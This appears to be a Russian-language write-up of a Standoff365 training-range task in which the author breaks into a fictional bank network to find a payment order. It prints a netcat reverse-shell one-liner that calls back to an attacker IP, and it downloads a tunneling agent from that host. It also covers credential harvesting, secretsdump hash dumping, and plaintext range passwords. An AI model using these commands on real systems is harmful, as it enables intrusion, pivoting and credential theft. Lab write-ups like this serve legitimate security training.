WriteUp. Утечка информации о государственном контракте в Commercial Bank of Standoff

Прохождение задания ‘Прохождение задачи ‘Standoff365 - Industry - Банковская система - Утечка информации о государственном контракте в Commercial Bank of Standoff’.
Информация о задании
| Название | Утечка информации о государственном контракте в Commercial Bank of Standoff |
|---|---|
| Уровень | Средний |
| Категория | Pentest Machines |
| ОС | Linux, Windows |
Начало
В задании сказано:
В межбанковском платежном поручении, отправленном из филиала Commercial Bank of Standoff, найдите информацию о фактической сумме платежа по контракту Государства F с компанией Horns and Hoofs.
Подключаемся по VPN
sudo openvpn *.ovpn Разведка
От сюда берем информацию о сетях. Так в задании сказано про Commercial Bank of Standoff (cbs), то нам необходимы сети: Внешний периметр: 10.124.0.128/26 и Внутренний периметр: 10.154.4.0/23.
nmap 10.124.0.128/26 -T5 -v --open -A -PnОбратите внимание на параметр -Pn
Нас интересует IP 10.124.0.134
Проверяем сайт:
Воспользуемся инструментом dnsrecon
dnsrecon -r 10.124.0.128/26 -n 10.124.0.162IP 10.124.0.162 это там где 53 порт
Через Burp производим разведку дальше, а именно тыкаем везде и всюду, да поиска “чего-то интересного”. При вводе на форме “Обратной связи” находим что-то интересное. Пишет, что не найдено api.
Убираем лишнее api
Эксплуатация
Предпологаем что тут есть уязвимость вида: “десериализации PHP”
Пытаемся эксплуатировать уязвимость и выполнить обратный шелл и при этом найти правильный параметр s:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.127.245.254 4444 >/tmp/f')Выполняем, видим что мы поймали шел
Дальнейшая разведка
Проверяем директорию /home на наличие файлов и видим файл history.txt. Проверяем данный файл и получаем креды.
Подключение по SSH на 10.124.0.163 и чтение файлов других пользователей
Подключаемся по SSH на 10.124.0.163, который мы нашли ранее при сканировании сети nmap. Пользователь: jack Пароль:rN9YvGXqd2b3RYrD21r7
ssh jack@10.124.0.163Вводим команду на проверку привилегий. Видим что есть “высокие” права на cat
sudo -lПроверяем все файлы истории всех пользователей. Находим в истории root некий файл .wincreds пользователя astridion
Проверяем данный файл. Находим креды
Создание туннеля во внутреннюю сеть
Для создания туннеля во внутреннюю сеть будем использовать ligolo-ng качаем тут. Нам нужны agent и proxy. Качаем себе на машину
Поднимаем http сервер у себя на машине на 8000 порту
python3 -m http.server 8000Переходим в папку /tmp и качаем agent
curl -O http://10.127.245.254:8000/agentГотовим ligolo у себя на тачке
sudo ip tuntap add user kali mod tun ligolo
sudo ip link set ligolo upЗапускаем прокси на порту 1155
./proxy -selfcert -laddr 0.0.0.0:1155Переходим на jmp и делаем исполняемый агент и запускаем
chmod +x agent
./agent -connect 10.127.245.254:1155 -ignore-certДалее снова переходим на свою тачку и видим что появилась сессия, входим в нее и запускаем
session
startНу а теперь необходимо “завернуть” внутреннюю сеть банка cbs 10.154.4.0/23 в интерфейс ligolo
sudo ip route add 10.154.4.0/23 dev ligolo Сбор информации о внутренней сети банка cbs 10.154.4.0/23
Воспользуемся утилитой nxc (протокол smb) и кредами, которые нашли ранее, а именно: Пользователь: astridio Пароль: ZYSE6G01pICXQByw7JO
nxc smb 10.154.4.0/23 -u astridion -p zZYSE6G01pICXQByw7JOПроверяем на наличие сервисов с помощью утилиты nmap на всех портах (-p-)
nmap 10.154.4.166 -T5 -v --open -A -p-Доступ по RDP, и поиск информации
Пробуем получить дамп с машины 10.154.4.166, с помощью утилиты impacket-secretsdump и видим пароль пользователя helpdesk
impacket-secretsdump 'cbs.stf/astridion':'zZYSE6G01pICXQByw7JO'@10.154.4.166 Получаем доступ по RDP. И запускаем PowerShell от имени Администратора
xfreerdp3 /v:10.154.4.166:33389 /u:helpdesk /p:9i8pwK95TQ5bWtl7fadJ /d:cbs.stf Прошу обратить внимание, что при выполнении команды доступа по RDP, вы можете получать доступ на разные тачки!
И начинаем искать везде и всюду
А теперь смотрим внимательно))))
Также обратим внимание на вот этот ярлык, у данного пользователя.
Выполнение НС
Пробуем зайти на данный ресурс, с нашей атакующей тачки, не получается. Проверяем данный порт.
Видим что он фильтруется, значит есть вероятность, что необходимо сделать туннель от тачки WS05, где был найден файл
Кидаем агента лиголо на тачку
Переходим в директорию и запускаем агента
./agent.exe -connect 10.127.245.254:1155 -ignore-certИдем на нашу тачку, и проверяем
stop
session
TAB
startПроверяем данный порт
Заходим на данный ресурс http://10.154.4.170:30003/
В задании сказано, что необходимо в межбанковском платежном поручении, отправленном из филиала Commercial Bank of Standoff, найдите информацию о фактической сумме платежа по контракту Государства F с компанией Horns and Hoofs. Т.е. ищем в OUTBOX данный платеж
В ручную это конечно долго, мы сделай по простому, а именно в Burp прочитаем все запросы, и Match по слову “Horns”.
Прошу обратить внимание, что при выполнении ниже операций в Burp, необходимо делать быстро - так как могут “протухнуть” куки и результаты вы не сможете увидеть! Поэтому во время Intruder проверяем выполнение запроса, т.е. Status code = 200!
Рекомендация: выполнять запросы по где-то по 3.000 на первую цель (Intruder). Не забываем обновить куки!
Забираем первый и последние запросы, который показывают платежки:
Закидываем в Intuder, тип Cluster bomb, выбираем цели.
Выбираем Тип нагрузки “цифры”. В первой части нагрузки по частям, и так до 31081. Т.е. потом с 3000 по 6000, и так далее, с обновлением куки.
Запускаем и дожидаемся выполнения пока будет совпадение.
Перебираем данную платежки, и после видим результат. НС реализована.